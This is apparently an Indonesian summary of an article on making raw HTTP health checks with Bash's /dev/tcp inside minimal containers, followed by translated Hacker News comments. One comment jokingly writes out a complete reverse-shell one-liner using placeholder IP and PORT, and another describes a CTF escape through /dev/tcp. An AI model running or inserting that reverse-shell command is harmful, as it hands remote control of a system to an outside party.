- Pada image container minimal, curl atau wget sering tidak tersedia, sehingga berguna punya cara alternatif untuk memeriksa konektivitas layanan internal tanpa memasang paket
- Redireksi Bash
/dev/tcp/host/port dapat membuka socket TCP, sehingga kita bisa menulis langsung string permintaan HTTP/1.1 dan membaca responsnya
/dev/tcp bukan path filesystem melainkan fitur internal Bash, jadi ls /dev/tcp atau pendekatan akses file biasa dari shell lain tidak akan berfungsi
- Metode ini adalah teknik debugging sederhana yang tidak menangani redirect, respons chunked, kompresi, retry, atau TLS, dan tanpa
Connection: close cat bisa terus menunggu
- Untuk pekerjaan HTTP sehari-hari,
curl tetap yang tepat, tetapi di container kecil yang sulit ditambahi tool, cara ini cukup untuk pemeriksaan koneksi cepat
Menulis permintaan HTTP dengan file descriptor Bash
- Perlu memeriksa apakah endpoint
/health dari layanan lain di jaringan Docker internal bisa diakses, tetapi image tidak memiliki curl atau wget
- Bash dapat menghubungkan socket TCP ke file descriptor, sehingga kita bisa menulis dan mengirim permintaan HTTP secara langsung seperti berikut
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
service harus berupa nama host yang dapat di-resolve dan dijangkau dari lokasi eksekusi
- Bisa berupa nama container atau layanan yang disetel di jaringan Docker
- Nama DNS yang dapat di-resolve juga bisa digunakan
- Host dan port harus disesuaikan dengan lingkungan
- Output respons mencakup status line, header, baris kosong, dan body sekaligus
- Untuk menambahkan header, cukup tambahkan baris lain yang diakhiri
\r\n sebelum baris kosong penutup permintaan
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3
Mengapa /dev/tcp bukan file sungguhan
/dev/tcp bukan file perangkat nyata, melainkan redireksi yang ditangani Bash
- Karena path tersebut tidak ada di disk,
ls /dev/tcp akan gagal
- Menjalankan
cat /dev/tcp/... di shell lain juga akan menghasilkan error
- Menurut manual Bash, pada
/dev/tcp/host/port, jika host adalah nama host atau alamat internet yang valid dan port adalah nomor port integer atau nama layanan, Bash akan mencoba membuka socket TCP
- Bash melakukan lookup DNS dan
connect(2), lalu exec 3<> menghubungkan socket ke file descriptor 3 agar bisa dibaca dan ditulis
Bukan pengganti klien HTTP, melainkan alat pemeriksaan sementara
- Pendekatan ini bukan klien HTTP sungguhan, sehingga tidak menangani redirect, respons chunked, kompresi, retry, TLS, dan sebagainya
- Header
Connection: close itu penting
- Tanpanya, server bisa mempertahankan koneksi sesuai perilaku default HTTP/1.1
- Dalam kasus itu,
cat <&3 bisa menunggu EOF dan tidak pernah selesai
- Membungkusnya dengan sesuatu seperti
timeout 6 bash -c '...' juga berguna untuk berjaga-jaga jika koneksi tidak ditutup
/dev/tcp membuka socket mentah, jadi ini hanya berlaku untuk HTTP plaintext; untuk https, diperlukan openssl s_client
- Ini bukan fitur POSIX melainkan fitur Bash, jadi tidak bisa digunakan di
dash yang menjadi /bin/sh di Debian atau di zsh; Anda harus memanggil bash secara langsung
- Saat build Bash, ini adalah opsi compile-time yang diaktifkan dengan
--enable-net-redirections
- Kesimpulannya, ini bukan alat umum untuk menggantikan
curl, melainkan cocok untuk memeriksa konektivitas dengan cepat di container kecil tempat Anda tidak bisa menambahkan instalasi
1 komentar
Komentar Hacker News
Saat masih kecil di akhir 90-an, saya kaget ketika tahu bahwa dengan
telnetkita bisa terhubung ke port 80, 25, dan 110 lalu berbicara langsung dengan serverKita bisa mengetik sendiri permintaan sederhana seperti
GET / HTTP/1.1, atau mengirim email lewat port 25 denganHELO,mail-from, danmail-to, lalu mengambil daftar kotak surat dan pesan individual lewat POP3Pengalaman ini menjadi awal dari kesadaran bahwa “tidak ada sihir”, dan bahwa semua bagian komputer dibuat oleh manusia serta pada tingkat tertentu bisa dipahami jika mau berusaha
Di masa depan mungkin sebagian besar akan diserahkan ke agen, tetapi bagi orang yang ingin mempelajari cara kerja sebenarnya tanpa filter model dan pagar pengaman, tampaknya masih akan ada celah-celah menarik di berbagai sistem
jacques.chirac@elysee.frdan terlihat seperti hacker di depan teman-temanStrukturnya hanyalah tumpukan singkatan di atas berbagai cara untuk membuat, mengirim, dan membaca file teks terstruktur
Suatu hari saya sadar bahwa database pun pada dasarnya adalah file teks, dan saya sampai harus duduk diam sejenak
telnetTLS juga tidak bisa dengan
telnet, dan banyak server hanya mengembalikan redirect untuk permintaan HTTPKalau mengganti
telnetdenganopenssl s_client, kita memang bisa menyalurkan teks di dalam TLS, tetapi rasanya agak seperti akal-akalanSayang juga karena banyak protokol modern lebih memilih encoding biner, sehingga makin sulit diutak-atik di level wire tanpa alat khusus
Meski begitu, sepertinya akan selalu ada orang yang suka mendalaminya; seperti menyalakan api dengan tongkat atau membakar batu bata tanah liat, teknik lama itu menyenangkan dan kadang benar-benar berguna
Bahkan AI justru mempermudah eksperimen, karena tanpa harus membongkar RFC kita bisa bertanya ke LLM dan mempelajari, misalnya, sebagian besar perintah IMAP yang umum
Di
zsh, selain/dev/tcpmilik Bash, ada juga modulzsh/net/tcpdanzsh/zftphttps://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....
Di Plan 9 ada
/net, sistem berkas sintetis sungguhan, sehingga pekerjaan seperti ini dan bahkan lebih dari itu bisa dilakukan dari program apa punDengan me-mount
/netmilik mesin lain lewat protokol 9P, itu bahkan bisa dipakai seperti VPN dadakan, dan hal ini bisa diuji di Linux lewat 9frontDi pustaka Go juga masih terlihat jejak
/netbergaya Plan 9, tampaknya ini warisan Rob PikeIni bekerja dengan baik di
example.comBuka dengan
exec 3<>/dev/tcp/example.com/80, kirimprintf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3, lalu jalankancat <&3, maka akan keluarHTTP/1.1 200 OKSekarang sudah terlalu sedikit domain yang tidak memaksa HTTPS, jadi untuk pengujian seperti ini ujung-ujungnya orang pergi ke example.com
example.comjuga bergunaJika di browser kita membuka http://example.com, kita akan diarahkan kembali ke halaman portal captive sehingga bisa menyelesaikan lagi prosedur akses internet
printf\rmemang seharusnya ada, tetapi tanpa itu pun tetap berjalanBisa juga bercanda bahwa kalau ingin berbicara dengan komputer teman, semua orang memakai
bash -i >& /dev/tcp/IP/PORT 0>&1Bash bukanlah yang "berbicara" HTTP, melainkan memungkinkan pembukaan soket TCP
Yang dilakukan di sini adalah berbicara HTTP secara langsung; ini oke untuk pengujian atau debugging, dan seru kalau dicoba manual, tetapi memakai klien HTTP palsu seperti ini di lingkungan tanpa pengawasan pada akhirnya akan jadi bumerang
Kode mainan ini bisa rusak karena tidak mem-parsing HTTP dengan benar
Tentu saja, Anda juga bisa menulis klien HTTP/1.1 yang lengkap dengan Bash, dan bahkan membuat server HTTP Bash murni: https://github.com/bahamas10/bash-web-server
Pilihan yang tidak segila itu biasanya adalah
nc, dan umumnya itu lebih bijakBash tidak bisa listen pada soket TCP/UDP untuk menerima koneksi masuk
Proyek
bash-web-servermembangun socket listener dalam C, lalu memuatnya secara dinamis saat runtime sebagai modul “bawaan” untuk menyediakan fungsi tersebut[0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
ncatau alat sejenis keluarga netcat memang pilihan yang lebih baik, tetapi image yang saya pakai saat itu tidak memiliki alat seperti ituSaya sudah mengetik request HTTP dengan tangan sejak sebelum HTTP/1.1 dan header
Hostyang wajib adaMemakainya untuk tujuan serius memang tindakan gila, dan hal yang sama berlaku untuk membuat server web dengan Bash, tetapi untuk pengujian cepat ini cukup bagus
https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
Saya belajar soal ini setelah melihat tim Bauhinia memakainya saat menyelesaikan soal CTF
Itu CTF bertahap; mula-mula mereka mendapatkan shell
systemlewat rantai ROP, tetapi lingkungannya pada dasarnya seperti penjara yang tidak bisa menjalankan apa pun selain BashYang bisa dipakai hanya
readdancat, jadi mereka menggunakancat /dev/tcp, lalu mengarahkannya ke terminal virtual, membacanya, mendapatkan URL sistem internal, dan menemukan flagSaya menemukan cara ini saat memeriksa koneksi antar-kontainer di jaringan Docker internal, ketika image tersebut tidak punya
curlmaupunwgetYang mengejutkan adalah Bash punya
/dev/tcp, jadi dengan sedikit sihir shell kita bisa membuat sesuatu yang mirip request HTTPMisalnya buka dengan
exec 3<>/dev/tcp/service/8642, kirimprintf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3, lalu jalankancat <&3Di sini
serviceadalah nama host tujuan koneksi, dan8642adalah port yang ingin diajak bicara dengan HTTPSaya tidak terpikir kekurangannya, dan menurut saya itu hampir wajib bahkan untuk image produksi
Dulu pada Debian lama dan distro turunan Debian, fitur ini tidak bekerja karena akses TCP melalui berkas virtual dinonaktifkan secara default
Setahu saya, sikap itu berubah pada 2009 dan fiturnya diaktifkan; ada diskusi dan tautan di Bug #146464
<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
Selain ini, ada banyak cara lain untuk mengakses fungsi jaringan langsung dari alat shell, seperti
curl,wget, perintahHEADdanGETmilik Perl,netcat/nc,socat,telnet, dan lain-lainSaya masih ingat saat remaja mengejutkan orang dengan mengirim pesan menyeramkan ke
/dev/pttymereka memakaiechoPesan yang saya kirim muncul seperti sihir di terminal mereka yang sedang terbuka
Sampai sekarang saya tidak tahu kenapa lab komputer itu membuat tiap klien memakai akun yang berbeda sehingga tidak dikunci, dan mungkin itu memang keterbatasan VAX saat itu